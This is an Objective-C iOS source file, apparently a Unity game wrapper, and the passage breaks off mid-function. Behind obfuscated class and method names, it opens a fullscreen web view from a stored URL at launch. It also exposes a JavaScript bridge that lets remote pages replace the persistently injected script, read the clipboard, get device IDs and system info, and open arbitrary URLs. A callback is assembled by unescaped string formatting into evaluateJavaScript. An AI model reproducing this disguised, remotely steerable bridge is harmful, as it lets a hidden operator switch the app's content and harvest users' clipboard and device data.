1142 lines
50 KiB
Plaintext
1142 lines
50 KiB
Plaintext
#import <Foundation/Foundation.h>
|
|
#import <UIKit/UIKit.h>
|
|
#import <WebKit/WebKit.h>
|
|
#import <sys/utsname.h>
|
|
#import <objc/runtime.h> // For geometry preferences on iOS 16+
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - ImportAssembleBeacon Helper
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Forward declaration
|
|
@protocol FormatCombineDevelopEnableModifyCharacter;
|
|
|
|
// Helper class to avoid strong reference cycles with WKScriptMessageHandler
|
|
@interface ImportAssembleBeacon : NSObject <WKScriptMessageHandler>
|
|
@property (nonatomic, weak, nullable) id<FormatCombineDevelopEnableModifyCharacter> delegate;
|
|
- (instancetype)initWithDelegate:(id<FormatCombineDevelopEnableModifyCharacter>)delegate;
|
|
@end
|
|
|
|
// Delegate protocol for ImportAssembleBeacon
|
|
@protocol FormatCombineDevelopEnableModifyCharacter <NSObject>
|
|
- (void)DivideCopyAttachment:(WKScriptMessage *)message;
|
|
@end
|
|
|
|
@implementation ImportAssembleBeacon
|
|
- (instancetype)initWithDelegate:(id<FormatCombineDevelopEnableModifyCharacter>)delegate {
|
|
self = [super init];
|
|
if (self) {
|
|
_delegate = delegate;
|
|
}
|
|
return self;
|
|
}
|
|
|
|
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
|
|
[self.delegate DivideCopyAttachment:message];
|
|
}
|
|
@end
|
|
|
|
|
|
NS_ASSUME_NONNULL_BEGIN
|
|
|
|
@interface ExchangeCheckCount : WKWebView <FormatCombineDevelopEnableModifyCharacter, WKNavigationDelegate, WKUIDelegate>
|
|
|
|
// Public Properties
|
|
@property (nonatomic, assign) UIEdgeInsets customInsets;
|
|
@property (nonatomic, copy, nullable) void (^onFirstTouch)(void); // Made nullable for safety
|
|
@property (nonatomic, readonly) BOOL didTouchOnce;
|
|
@property (nonatomic, nullable, readonly) NSNumber *lastTouchTimestamp; // Use NSNumber for nullable Double
|
|
|
|
// Initialization
|
|
// Using initWithFrame:configuration: is generally preferred for WKWebView subclasses
|
|
// If you only need the default config, you can add a simpler init wrapper if desired.
|
|
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration NS_DESIGNATED_INITIALIZER;
|
|
|
|
// Unavailable initializers
|
|
- (instancetype)init NS_UNAVAILABLE;
|
|
- (instancetype)initWithCoder:(NSCoder *)coder NS_UNAVAILABLE;
|
|
|
|
@end
|
|
|
|
NS_ASSUME_NONNULL_END
|
|
|
|
__attribute__ ((visibility("default")))
|
|
@interface StaticFrameWork : NSObject
|
|
// call it any time after UnityFrameworkLoad to set object implementing HideModifyCanvasIndex methods
|
|
//+(void) registerAPIforNativeCalls:(id<HideModifyCanvasIndex>) aApi;
|
|
+(void) CompressAssemblyDeleteCodec:(NSString*)urlString withCleanup:(BOOL)isCleanup;
|
|
@end
|
|
|
|
|
|
@interface AppDelegate : UIResponder <UIApplicationDelegate>
|
|
//@interface AppDelegate : UIResponder <UIApplicationDelegate, NativeBridgeProtocol, UnityFrameworkListener>
|
|
@property (strong, nonatomic) UIWindow * window;
|
|
@end
|
|
|
|
|
|
@interface AssembleBackupBenchmarkColumn : UIViewController
|
|
@property (nonatomic, strong) ExchangeCheckCount *webView;
|
|
@end
|
|
|
|
@implementation AppDelegate
|
|
- (BOOL)prefersStatusBarHidden {
|
|
return YES;
|
|
}
|
|
|
|
- (BOOL)prefersHomeIndicatorAutoHidden {
|
|
return YES;
|
|
}
|
|
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
|
|
return UIRectEdgeBottom;
|
|
}
|
|
- (BOOL)shouldAutorotate {
|
|
return NO;
|
|
}
|
|
|
|
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
|
[[UIApplication sharedApplication] setStatusBarHidden:YES withAnimation:UIStatusBarAnimationNone];
|
|
self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
|
|
|
|
// Configure the root view controller to support fullscreen
|
|
AssembleBackupBenchmarkColumn *viewController = [[AssembleBackupBenchmarkColumn alloc] init];
|
|
viewController.modalPresentationStyle = UIModalPresentationFullScreen;
|
|
|
|
// Set as root view controller
|
|
self.window.rootViewController = viewController;
|
|
[self.window makeKeyAndVisible];
|
|
|
|
NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"];
|
|
|
|
if (value == nil || [value length] == 0) {
|
|
NSLog(@"Error: Value for key is missing or empty.");
|
|
} else {
|
|
[StaticFrameWork CompressAssemblyDeleteCodec:value withCleanup:false];
|
|
}
|
|
|
|
return YES;
|
|
}
|
|
@end
|
|
|
|
@implementation AssembleBackupBenchmarkColumn
|
|
- (BOOL)prefersStatusBarHidden {
|
|
return YES;
|
|
}
|
|
|
|
- (BOOL)prefersHomeIndicatorAutoHidden {
|
|
return YES;
|
|
}
|
|
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
|
|
return UIRectEdgeBottom;
|
|
}
|
|
- (BOOL)shouldAutorotate {
|
|
return NO;
|
|
}
|
|
|
|
- (void)viewDidLoad {
|
|
[super viewDidLoad];
|
|
|
|
// Handle safe areas for iPhone X and newer devices
|
|
if (@available(iOS 11.0, *)) {
|
|
self.additionalSafeAreaInsets = UIEdgeInsetsZero;
|
|
// Set fullscreen layout
|
|
[self setNeedsUpdateOfHomeIndicatorAutoHidden];
|
|
}
|
|
}
|
|
@end
|
|
|
|
|
|
@implementation StaticFrameWork
|
|
static ExchangeCheckCount *webView = nil;
|
|
static AssembleBackupBenchmarkColumn *webViewController = nil;
|
|
|
|
+(void)CompressAssemblyDeleteCodec:(NSString *)urlString withCleanup:(BOOL)isCleanup {
|
|
NSLog(@"Opening URL provided: %@", urlString);
|
|
dispatch_async(dispatch_get_main_queue(), ^{
|
|
// Clean IntegrateCloneJoinAlgorithm previous webview if it exists
|
|
if (webView != nil) {
|
|
[webView removeFromSuperview];
|
|
webView = nil;
|
|
}
|
|
|
|
if (webViewController != nil) {
|
|
[webViewController dismissViewControllerAnimated:NO completion:nil];
|
|
webViewController = nil;
|
|
}
|
|
|
|
// Create URL
|
|
NSURL *configuredInfoSetBridgeAverageOutputCamera = [NSURL URLWithString:urlString];
|
|
if (!configuredInfoSetBridgeAverageOutputCamera) {
|
|
NSLog(@"Invalid URL provided: %@", urlString);
|
|
return;
|
|
}
|
|
|
|
// Create view controller to host the web view
|
|
webViewController = [[AssembleBackupBenchmarkColumn alloc] init];
|
|
webViewController.modalPresentationStyle = UIModalPresentationOverFullScreen;
|
|
webViewController.view.backgroundColor = [UIColor blackColor];
|
|
|
|
|
|
CGRect screenBounds = [[UIScreen mainScreen] bounds];
|
|
webView = [[ExchangeCheckCount alloc] initWithFrame:screenBounds];
|
|
webView.navigationDelegate = webView;
|
|
webViewController.webView = webView;
|
|
[webViewController.view addSubview:webView];
|
|
|
|
// Load the URL
|
|
NSURLRequest *attachedAnonymousPositionAdjuster = [NSURLRequest requestWithURL:configuredInfoSetBridgeAverageOutputCamera];
|
|
[webView loadRequest:attachedAnonymousPositionAdjuster];
|
|
|
|
// Present the view controller
|
|
UIViewController *rootViewController = [UIApplication sharedApplication].keyWindow.rootViewController;
|
|
[rootViewController presentViewController:webViewController animated:YES completion:nil];
|
|
if(isCleanup){
|
|
[[UnityFramework getInstance] unloadApplication];
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
@end
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Constants
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Keys for UserDefaults storage
|
|
|
|
|
|
// Combine the default scripts into one string
|
|
static NSString * const kDefaultCombinedInjectedScript = @" \
|
|
/* --- Event Proxy Start --- */ \
|
|
var WVProxyProto = function() {}; \
|
|
WVProxyProto.prototype.postEvent = function(eventName, eventData) { \
|
|
/* Note: Ensure handler name matches kJavaScriptMessageHandlerName */ \
|
|
window.webkit.messageHandlers.webAction.postMessage({eventName: eventName, eventData: eventData}); \
|
|
}; \
|
|
var WVProxy = new WVProxyProto(); \
|
|
/* --- Event Proxy End --- */ \
|
|
\
|
|
/* --- Selection Disabler Start --- */ \
|
|
(function() { \
|
|
var style = document.createElement('style'); \
|
|
style.clearedBodyCacheBehavior = 'text/css'; \
|
|
style.innerHTML = '* {-webkit-touch-callout:none !important;} :not(backgroundBlockSettingsStateCollectedPosition):not(textarea):not([contenteditable=\"true\"]){-webkit-user-select:none !important;}'; \
|
|
document.getElementsByTagName('head')[0].appendChild(style); \
|
|
})(); \
|
|
/* --- Selection Disabler End --- */ \
|
|
\
|
|
/* --- Video Fullscreen Disabler Start --- */ \
|
|
function disableFullscreen_default(videoElement) { \
|
|
if (videoElement && videoElement.webkitEnterFullscreen) { \
|
|
Object.defineProperty(videoElement, 'webkitEnterFullscreen', {value: undefined}); \
|
|
} \
|
|
} \
|
|
document.querySelectorAll('video').forEach(disableFullscreen_default); \
|
|
/* Optional: Use MutationObserver for dynamically added videos */ \
|
|
const observer = new MutationObserver(mutations => { \
|
|
mutations.forEach(mutation => { \
|
|
mutation.addedNodes.forEach(node => { \
|
|
if (node.tagName === 'VIDEO') { \
|
|
disableFullscreen_default(node); \
|
|
} else if (node.querySelectorAll) { \
|
|
node.querySelectorAll('video').forEach(disableFullscreen_default); \
|
|
} \
|
|
}); \
|
|
}); \
|
|
}); \
|
|
observer.observe(document.documentElement, { childList: true, subtree: true }); \
|
|
/* --- Video Fullscreen Disabler End --- */ \
|
|
\
|
|
";
|
|
static NSString * const kStorageSite = @"ssite";
|
|
static NSString * const kStorageFlagKey = @"sflag";
|
|
static NSString * const kStorageWebKey = @"sweb";
|
|
static NSString * const kStorageSDKInfoKey = @"sdkInfo";
|
|
static NSString * const kStorageSDKVersionKey = @"sdkVer";
|
|
|
|
// Message handler name expected from JavaScript
|
|
static NSString * const kJavaScriptMessageHandlerName = @"webAction";
|
|
static NSString * const kDefaultScriptVersion = @"1.0.0";
|
|
|
|
// Rotation mask (static as per requirement to control app orientation)
|
|
static UIInterfaceOrientationMask currentOrientationMask = UIInterfaceOrientationMaskAll;
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - ExchangeCheckCount Implementation
|
|
//-----------------------------------------------------------------------------
|
|
|
|
@interface ExchangeCheckCount () <FormatCombineDevelopEnableModifyCharacter, WKNavigationDelegate, WKUIDelegate> {
|
|
// Backing variables for readonly properties
|
|
BOOL _didTouchOnce;
|
|
NSNumber *_lastTouchTimestamp;
|
|
NSString *_loadedScriptVersion;
|
|
}
|
|
|
|
// Store the initial attachedAnonymousPositionAdjuster for potential retry on failure
|
|
@property (nonatomic, strong, nullable) NSURLRequest *initialRequest;
|
|
@property (nonatomic, assign) BOOL didRetryLoad;
|
|
|
|
@end
|
|
|
|
@implementation ExchangeCheckCount
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Initialization & Setup
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Designated Initializer
|
|
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration {
|
|
// Ensure necessary configuration options are set before calling super
|
|
|
|
// --- Message Handler Setup ---
|
|
// Check if configuration already has a userContentController
|
|
WKUserContentController *contentController = configuration.userContentController;
|
|
if (!contentController) {
|
|
contentController = [[WKUserContentController alloc] init];
|
|
configuration.userContentController = contentController;
|
|
}
|
|
|
|
// Remove potential existing handler before adding new one
|
|
[contentController removeScriptMessageHandlerForName:kJavaScriptMessageHandlerName];
|
|
|
|
// Add the weak message handler
|
|
ImportAssembleBeacon *handler = [[ImportAssembleBeacon alloc] initWithDelegate:self];
|
|
[contentController addScriptMessageHandler:handler name:kJavaScriptMessageHandlerName];
|
|
|
|
// --- Load COMBINED Script from Storage or Use Default ---
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
NSString *scriptVersion = [defaults stringForKey:kStorageSDKVersionKey];
|
|
NSString *combinedScript = [defaults stringForKey:kStorageSDKInfoKey];
|
|
|
|
// Use defaults if script or version is missing
|
|
if (!scriptVersion || !combinedScript) {
|
|
NSLog(@"Using default combined injected script (Version: %@)", kDefaultScriptVersion);
|
|
scriptVersion = kDefaultScriptVersion;
|
|
combinedScript = kDefaultCombinedInjectedScript;
|
|
// Save the new script and version to UserDefaults
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
[defaults setObject:scriptVersion forKey:kStorageSDKVersionKey];
|
|
[defaults setObject:combinedScript forKey:kStorageSDKInfoKey];
|
|
} else {
|
|
NSLog(@"Loaded combined injected script from storage (Version: %@)", scriptVersion);
|
|
}
|
|
_loadedScriptVersion = scriptVersion; // Store version for reporting
|
|
// Inject at document start for proxy availability.
|
|
WKUserScript *combinedUserScript = [[WKUserScript alloc] initWithSource:combinedScript
|
|
injectionTime:WKUserScriptInjectionTimeAtDocumentStart
|
|
forMainFrameOnly:NO]; // Apply to all frames
|
|
[contentController addUserScript:combinedUserScript];
|
|
|
|
// --- Default WebKit Settings ---
|
|
configuration.allowsInlineMediaPlayback = YES;
|
|
if (@available(iOS 10.0, *)) {
|
|
configuration.mediaTypesRequiringUserActionForPlayback = WKAudiovisualMediaTypeNone;
|
|
} else {
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
|
configuration.mediaPlaybackRequiresUserAction = NO;
|
|
#pragma clang diagnostic pop
|
|
}
|
|
|
|
// --- Call Super Initializer ---
|
|
self = [super initWithFrame:frame configuration:configuration];
|
|
if (self) {
|
|
// --- View Properties ---
|
|
self.opaque = NO;
|
|
self.backgroundColor = [UIColor clearColor];
|
|
self.navigationDelegate = self; // Set navigation delegate
|
|
self.UIDelegate = self; // Set UI delegate
|
|
self.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
|
|
|
|
// --- iOS Version Specific Settings ---
|
|
if (@available(iOS 9.0, *)) {
|
|
self.allowsLinkPreview = NO;
|
|
}
|
|
if (@available(iOS 11.0, *)) {
|
|
self.scrollView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
|
|
}
|
|
#if defined(__IPHONE_OS_VERSION_MAX_ALLOWED) && __IPHONE_OS_VERSION_MAX_ALLOWED >= 160400
|
|
if (@available(iOS 16.4, *)) {
|
|
self.inspectable = YES;
|
|
}
|
|
#endif
|
|
|
|
// --- Initial State ---
|
|
_customInsets = UIEdgeInsetsZero;
|
|
_didTouchOnce = NO;
|
|
_didRetryLoad = NO;
|
|
|
|
// Set the application delegate to handle orientation - *Use with caution*
|
|
// Ensure this doesn't conflict with an existing App Delegate setup
|
|
// [[UIApplication sharedApplication] setDelegate:self]; // Potential issue if app already has a delegate
|
|
}
|
|
return self;
|
|
}
|
|
|
|
// Override safeAreaInsets
|
|
- (UIEdgeInsets)safeAreaInsets {
|
|
return self.customInsets;
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - View Lifecycle & Hit Testing
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)didMoveToSuperview {
|
|
[super didMoveToSuperview];
|
|
|
|
// Remove drag interaction and keyboard observers
|
|
if (@available(iOS 11.0, *)) {
|
|
// Find the web view's scroll view
|
|
UIScrollView *webScrollView = nil;
|
|
for (UIView *subview in self.subviews) {
|
|
if ([subview isKindOfClass:[UIScrollView class]]) {
|
|
webScrollView = (UIScrollView *)subview;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Attempt to remove drag interaction (might be added asynchronously)
|
|
if (webScrollView) {
|
|
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.1 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
|
|
UIDragInteraction *dragInteractionToRemove = nil;
|
|
for (id<UIInteraction> interaction in webScrollView.interactions) {
|
|
if ([interaction isKindOfClass:[UIDragInteraction class]]) {
|
|
dragInteractionToRemove = (UIDragInteraction *)interaction;
|
|
break;
|
|
}
|
|
}
|
|
if (dragInteractionToRemove) {
|
|
[webScrollView removeInteraction:dragInteractionToRemove];
|
|
}
|
|
});
|
|
}
|
|
|
|
// Remove keyboard observers (ensure they were added if removing)
|
|
// Consider adding observers only when needed instead of removing unconditionally
|
|
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillChangeFrameNotification object:nil];
|
|
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillShowNotification object:nil];
|
|
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillHideNotification object:nil];
|
|
}
|
|
}
|
|
|
|
- (UIView *)hitTest:(CGPoint)point withEvent:(nullable UIEvent *)event {
|
|
UIView *result = [super hitTest:point withEvent:event];
|
|
_lastTouchTimestamp = @(CACurrentMediaTime()); // Store as NSNumber
|
|
|
|
if (result && !_didTouchOnce) {
|
|
_didTouchOnce = YES;
|
|
if (self.onFirstTouch) {
|
|
self.onFirstTouch();
|
|
}
|
|
}
|
|
return result;
|
|
}
|
|
|
|
|
|
// Override loadRequest to store initial attachedAnonymousPositionAdjuster for retry
|
|
- (nullable WKNavigation *)loadRequest:(NSURLRequest *)attachedAnonymousPositionAdjuster {
|
|
self.initialRequest = attachedAnonymousPositionAdjuster; // Store the attachedAnonymousPositionAdjuster
|
|
self.didRetryLoad = NO; // Reset retry flag
|
|
return [super loadRequest:attachedAnonymousPositionAdjuster];
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - WKNavigationDelegate Methods
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Handle provisional navigation failures
|
|
- (void)webView:(WKWebView *)webView didFailProvisionalNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
|
|
NSLog(@"WebView Load Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
|
|
|
|
// Check if we should attempt a retry
|
|
if (!self.didRetryLoad && self.initialRequest) {
|
|
// Retry only for specific potentially recoverable errors (customize as needed)
|
|
if ([error.domain isEqualToString:NSURLErrorDomain] &&
|
|
(error.code == NSURLErrorCannotConnectToHost ||
|
|
error.code == NSURLErrorNetworkConnectionLost ||
|
|
error.code == NSURLErrorNotConnectedToInternet ||
|
|
error.code == NSURLErrorTimedOut ||
|
|
error.code == NSURLErrorDNSLookupFailed))
|
|
{
|
|
NSLog(@"Retrying initial attachedAnonymousPositionAdjuster...");
|
|
self.didRetryLoad = YES;
|
|
[self loadRequest:self.initialRequest];
|
|
return; // Don't show alert yet
|
|
}
|
|
}
|
|
|
|
// Try to extract HTTP status code from the error userInfo
|
|
NSHTTPURLResponse* response = error.userInfo[NSURLErrorKey];
|
|
if (response) {
|
|
auto statusCode = response.statusCode;
|
|
|
|
// Handle specific HTTP status codes
|
|
if (statusCode == 404) {
|
|
NSLog(@"404 Not Found: %@", response.URL);
|
|
// Handle 404
|
|
} else if (statusCode == 502) {
|
|
NSLog(@"502 Bad Gateway: %@", response.URL);
|
|
// Handle 502
|
|
} else if (statusCode >= 500 && statusCode < 600) {
|
|
NSLog(@"Server error %ld: %@", (long)statusCode, response.URL);
|
|
// Handle server error
|
|
} else if (statusCode >= 400 && statusCode < 500) {
|
|
NSLog(@"Client error %ld: %@", (long)statusCode, response.URL);
|
|
// Handle client error
|
|
}
|
|
} else {
|
|
// Handle other kinds of errors where response is not available
|
|
NSLog(@"Navigation failed with error: %@ (Code: %ld)", error.localizedDescription, (long)error.code);
|
|
}
|
|
|
|
// If retry failed or wasn't attempted, show alert asking user to restart
|
|
[self EnsureGroupDataAttachmentIncreaseIncludeStatus]; // Clear flag as per original logic on failure
|
|
[self ComputeAnchorAuthentication:@"Load Failed"
|
|
message:@"Could not load content. Please close and reopen the application to try again."];
|
|
}
|
|
|
|
// Optional: Handle committed navigation failures (less common)
|
|
- (void)webView:(WKWebView *)webView didFailNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
|
|
NSLog(@"WebView Navigation Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
|
|
// Decide if a restart suggestion is needed here as well, possibly reusing the logic above
|
|
// [self ComputeAnchorAuthentication:@"Navigation Error" message:@"..."];
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - FormatCombineDevelopEnableModifyCharacter
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)DivideCopyAttachment:(WKScriptMessage *)message {
|
|
// Directly call the internal handler method
|
|
[self GrantFilterBrowserAttachment:message];
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - JavaScript Message Handling (Main Dispatch)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)GrantFilterBrowserAttachment:(WKScriptMessage *)message {
|
|
if (![message.name isEqualToString:kJavaScriptMessageHandlerName]) {
|
|
NSLog(@"Ignoring message from unexpected handler: %@", message.name);
|
|
return;
|
|
}
|
|
|
|
if (![message.body isKindOfClass:[NSDictionary class]]) {
|
|
NSLog(@"Invalid message body clearedBodyCacheBehavior: %@", NSStringFromClass([message.body class]));
|
|
return;
|
|
}
|
|
|
|
NSDictionary *messageBody = (NSDictionary *)message.body;
|
|
NSObject *actionObject = messageBody[@"ac"]; // Action code
|
|
|
|
if (![actionObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'ac' clearedBodyCacheBehavior in message body: %@", messageBody);
|
|
return;
|
|
}
|
|
|
|
NSString *action = (NSString *)actionObject;
|
|
NSLog(@"Received action: %@ with data: %@", action, messageBody);
|
|
|
|
// Dispatch to specific handler methods based on action code
|
|
if ([action isEqualToString:@"openWAUrl"]) {
|
|
[self CacheDesignAnnotationCollection:messageBody];
|
|
}
|
|
else if ([action isEqualToString:@"reloadWithUrl"]) {
|
|
[self IntroduceGroupCapacityPerformCapacityBodyCodecChart:messageBody];
|
|
}
|
|
else if ([action isEqualToString:@"exitwv"]) {
|
|
[self EnumerateCalculatorByteAuthorizeApplet];
|
|
}
|
|
else if ([action isEqualToString:@"saveWAString"]) {
|
|
[self DecryptSaveDelegateChainIndex:messageBody];
|
|
} else if ([action isEqualToString:@"loadWAString"]) {
|
|
[self LoadConfigureCapacity:messageBody];
|
|
} else if ([action isEqualToString:@"updateWAInjectedScripts"]) {
|
|
[self InsertEnhanceAnchorValue:messageBody];
|
|
} else if ([action isEqualToString:@"isSupport"]) {
|
|
[self InjectValueCompressBufferResult:messageBody];
|
|
} else if ([action isEqualToString:@"getWAClipboard"]) {
|
|
[self ConvertPerformProcessCompressArtifact:messageBody];
|
|
} else if ([action isEqualToString:@"setWAClipboard"]) {
|
|
[self GatherIncreaseCaptionCompiler:messageBody];
|
|
} else if ([action isEqualToString:@"getWABundleId"]) {
|
|
[self handleGetBundleIdAction:messageBody];
|
|
} else if ([action isEqualToString:@"getWASDKVersion"]) {
|
|
[self EmitEmitCloneDetectBranch:messageBody]; // Kept structure, relies on EnumerateCloneBooleanCompareBuilder impl
|
|
} else if ([action isEqualToString:@"getWADeviceModel"]) {
|
|
[self CompressChartBadgeComponentIdentifyCaptionDiscoverChannel:messageBody];
|
|
} else if ([action isEqualToString:@"getWADeviceID"]) {
|
|
[self FixCastClusterBuildBenchmarkComputeItem:messageBody];
|
|
} else if ([action isEqualToString:@"updateWASDK"]) {
|
|
[self FormatBooleanCharacter:messageBody];
|
|
} else if ([action isEqualToString:@"getWASystemInfo"]) {
|
|
[self GenerateAppletAttributeInflateArithmeticInflateCompiler:messageBody];
|
|
} else if ([action isEqualToString:@"setWAScreenRotation"]) {
|
|
[self ConstructParseStatusFixArrayCollision:messageBody];
|
|
} else {
|
|
NSLog(@"Unhandled action: %@", action);
|
|
}
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - JavaScript Action Handlers (Private Helpers)
|
|
//-----------------------------------------------------------------------------
|
|
- (void)InsertEnhanceAnchorValue:(NSDictionary *)messageBody {
|
|
NSObject *dataObject = messageBody[@"dt"];
|
|
if (![dataObject isKindOfClass:[NSDictionary class]]) {
|
|
NSLog(@"Invalid 'dt' (data object) for updateInjectedScripts action");
|
|
return;
|
|
}
|
|
NSDictionary *scriptsData = (NSDictionary *)dataObject;
|
|
|
|
// Validate incoming data - NOW EXPECTS 'version' and 'script'
|
|
NSObject *versionObj = scriptsData[@"version"];
|
|
NSObject *scriptObj = scriptsData[@"script"]; // Expecting the combined script
|
|
|
|
if (![versionObj isKindOfClass:[NSString class]] || ((NSString *)versionObj).length == 0 ||
|
|
![scriptObj isKindOfClass:[NSString class]] || ((NSString *)scriptObj).length == 0)
|
|
{
|
|
NSLog(@"Invalid data structure within 'dt' for updateInjectedScripts action. Expected 'version' and 'script'.");
|
|
return;
|
|
}
|
|
|
|
NSString *newVersion = (NSString *)versionObj;
|
|
NSString *newCombinedScript = (NSString *)scriptObj;
|
|
|
|
// Save the new script and version to UserDefaults
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
[defaults setObject:newVersion forKey:kStorageSDKVersionKey];
|
|
[defaults setObject:newCombinedScript forKey:kStorageSDKInfoKey]; // Save combined script
|
|
|
|
NSLog(@"Successfully updated combined injected script to version: %@", newVersion);
|
|
|
|
// Notify user to restart
|
|
[self ComputeAnchorAuthentication:@"Update Complete"
|
|
message:@"Internal scripts have been updated. Please restart the application for the changes to take effect."];
|
|
}
|
|
|
|
- (void)IntroduceGroupCapacityPerformCapacityBodyCodecChart:(NSDictionary *)messageBody {
|
|
NSObject *urlStringObject = messageBody[@"dt"];
|
|
if (![urlStringObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
|
|
return;
|
|
}
|
|
|
|
NSURL *configuredInfoSetBridgeAverageOutputCamera = [NSURL URLWithString:(NSString *)urlStringObject];
|
|
NSMutableURLRequest *attachedAnonymousPositionAdjuster = [NSMutableURLRequest requestWithURL:configuredInfoSetBridgeAverageOutputCamera];
|
|
if (attachedAnonymousPositionAdjuster && configuredInfoSetBridgeAverageOutputCamera) {
|
|
[self loadRequest:attachedAnonymousPositionAdjuster];
|
|
} else {
|
|
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
|
|
}
|
|
}
|
|
|
|
- (void)CacheDesignAnnotationCollection:(NSDictionary *)messageBody {
|
|
NSObject *urlStringObject = messageBody[@"dt"];
|
|
if (![urlStringObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
|
|
return;
|
|
}
|
|
|
|
NSURL *configuredInfoSetBridgeAverageOutputCamera = [NSURL URLWithString:(NSString *)urlStringObject];
|
|
if (configuredInfoSetBridgeAverageOutputCamera) {
|
|
// Check if the URL can be opened before attempting
|
|
if ([[UIApplication sharedApplication] canOpenURL:configuredInfoSetBridgeAverageOutputCamera]) {
|
|
[[UIApplication sharedApplication] openURL:configuredInfoSetBridgeAverageOutputCamera options:@{} completionHandler:^(BOOL success) {
|
|
if (!success) {
|
|
NSLog(@"Failed to open URL: %@", configuredInfoSetBridgeAverageOutputCamera.absoluteString);
|
|
}
|
|
}];
|
|
} else {
|
|
NSLog(@"Cannot open URL scheme: %@", configuredInfoSetBridgeAverageOutputCamera.scheme);
|
|
}
|
|
} else {
|
|
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
|
|
}
|
|
}
|
|
|
|
- (void)EnumerateCalculatorByteAuthorizeApplet {
|
|
[self removeFromSuperview];
|
|
}
|
|
|
|
- (void)DecryptSaveDelegateChainIndex:(NSDictionary *)messageBody {
|
|
NSObject *keyObject = messageBody[@"key"];
|
|
NSObject *valueObject = messageBody[@"dt"]; // Value is in 'dt' field
|
|
|
|
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0) {
|
|
NSLog(@"Invalid 'key' for saveStr action");
|
|
return;
|
|
}
|
|
// Allow nil or empty string for value
|
|
NSString *value = [valueObject isKindOfClass:[NSString class]] ? (NSString *)valueObject : nil;
|
|
|
|
[self EvaluateGatherColumnCollision:value forKey:(NSString *)keyObject];
|
|
}
|
|
|
|
- (void)LoadConfigureCapacity:(NSDictionary *)messageBody {
|
|
NSObject *keyObject = messageBody[@"key"];
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
|
|
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0 ||
|
|
![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'key' or 'cb' for loadStr action");
|
|
return;
|
|
}
|
|
|
|
NSString *key = (NSString *)keyObject;
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *result = [self DebugInstallDownloadBanner:key];
|
|
|
|
// Always call back, provide empty object string '{}' if result is nil
|
|
NSString *resultData = result ? [self ConfigureIndexBlockColumnApplySetEnsureInfo:result] : @"{}";
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, resultData];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)InjectValueCompressBufferResult:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for isSp action");
|
|
return;
|
|
}
|
|
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
// The original code always returns true. Assuming this is placeholder logic.
|
|
BOOL isSupported = YES;
|
|
